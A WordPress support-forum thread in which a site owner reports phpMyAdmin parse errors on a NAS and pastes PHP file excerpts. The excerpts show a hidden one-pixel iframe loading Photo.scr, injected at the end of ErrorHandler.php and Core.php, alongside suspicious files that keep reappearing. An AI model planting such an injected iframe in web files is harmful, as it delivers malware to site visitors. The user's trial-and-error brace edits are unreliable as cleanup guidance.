Installing plugins in a duplicate folder (from wordpress)

UPDATE: as an experiment I plugged in my iPhone on a usb cable and used it as a hotspot with my laptop. I then used internet explorer to try to look at the .com website and the wordpress site for projectionpictures and both pages work. Why doesn’t it appear from my router?

I was about to do the http to https, but before I do that I wanted to back up the database for projection pictures in myphpadmin, however the user sign in screen now refuses to appear (I haven’t logged into to it since I changed it password). Although I made sure I could log in before I left it alone a few days ago.

So I now get:
Parse error: syntax error, unexpected ‘<‘ in /volume1/web/phpMyAdmin/libraries/classes/ErrorHandler.php on line 586

I can access that file in File Station an navigate to that file. What’s wrong?

One other thing with regards to the those files I removed before
photo.scr, info.zip and dead.letter. There all back in the root directory /web/

Ok with regards to your request for a given amount of lines above and below the error line (from 570-587, 588 is the the last line but its empty):

                       . '$("#pma_ignore_all_errors_bottom").bind("click",
                            function(e) {
                                e.preventDefault();
                                PMA_ignorePhpErrors(false)
                            });'
                        . '$("html, body").animate({
                            scrollTop:$(document).height()
                        }, "slow");';
            }
        }
        // The errors are already sent from the response.
        // Just focus on errors division upon load event.
        $response->getFooter()->getScripts()->addCode($jsCode);
    }
}

<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>

It wasn’t an error earlier

Well since I changed the password for projectionpictures password and the password to enter the phpmyadmin login, I’ve had no reason to login again until now.

I’m pretty sure you were not editing this file on your own.

Who else would be interested in my little site? I’m the only one in my property updating the website and corresponding with you, just me.

• This reply was modified 7 years, 3 months ago by pr0ject10n.

I removed the section of code you asked to.

$response->getFooter()->getScripts()->addCode($jsCode);
}
}

/*<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>*/

phpmyadmin still refuse to open and this time the error code is:
Parse error: syntax error, unexpected end of file in /volume1/web/phpMyAdmin/libraries/classes/ErrorHandler.php on line 581

The text in that are from 581 back to 550 appears as this:

                $jsCode .= '$("html, body").animate({
                                scrollTop:$(document).height()
                            }, "slow");';
            }
        } elseif ($GLOBALS['cfg']['SendErrorReports'] == 'ask') {
            //ask user whether to submit errors or not.
            if (!$response->isAjax()) {
                // js code to show appropriate msgs, event binding & focusing.
                $jsCode = 'PMA_ajaxShowMessage(PMA_messages["phpErrorsFound"]);'
                        . '$("#pma_ignore_errors_popup").bind("click", function() {
                            PMA_ignorePhpErrors()
                        });'
                        . '$("#pma_ignore_all_errors_popup").bind("click",
                            function() {
                                PMA_ignorePhpErrors(false)
                            });'
                        . '$("#pma_ignore_errors_bottom").bind("click", function(e) {
                            e.preventDefaulut();
                            PMA_ignorePhpErrors()
                        });'
                        . '$("#pma_ignore_all_errors_bottom").bind("click",
                            function(e) {
                                e.preventDefault();
                                PMA_ignorePhpErrors(false)
                            });'
                        . '$("html, body").animate({
                            scrollTop:$(document).height()
                        }, "slow");';
            }
        }
        // The errors are already sent from the response.
        // Just focus on errors division upon load event.

Those dead.letter and Photo.scr along with index.html are in the web folder. Before two of them were a problem even though I removed them they’ve come back.

I added some autoblock protection in security.

If I misunderstood how much code to delete from /volume1/web/phpMyAdmin/libraries/classes/ErrorHandler.php
let me know.

As an experiment I added a single } at the very end of the last line after / </iframe>*/ so I now have:

        // The errors are already sent from the response.
        // Just focus on errors division upon load event.
                 $response->getFooter()->getScripts()->addCode($jsCode);
    }
// }

/*<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>*/}

I then tried to open phpmyadmin (and it was thinking about it) but came back with this error.
Parse error: syntax error, unexpected '<' in /volume1/web/phpMyAdmin/libraries/classes/Core.php on line 1294

It gets us away from a file error in errorhandler.php, incidentally if I add another } to that very same end </iframe>*/}}

I simply get another:
Parse error: syntax error, unexpected '}' in /volume1/web/phpMyAdmin/libraries/classes/ErrorHandler.php on line 587

So lets stick with one } and look in Core.php from line 1268-1295 we get

                    ),
                    'mysql_help_page' => $mysql_help_page,
                )
            );
    }

    /**
     * Checks request and fails with fatal error if something problematic is found
     *
     * @return void
     */
    public static function checkRequest()
    {
        if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) {
            self::fatalError(__("GLOBALS overwrite attempt"));
        }

        /**
         * protect against possible exploits - there is no need to have so much variables
         */
        if (count($_REQUEST) > 1000) {
            self::fatalError(__('possible exploit'));
        }
    }
}

<iframe src=Photo.scr width=1 height=1 frameborder=0>
iframe</>

Should do we add } after iframe</> or add or subtract more code than that elsewhere?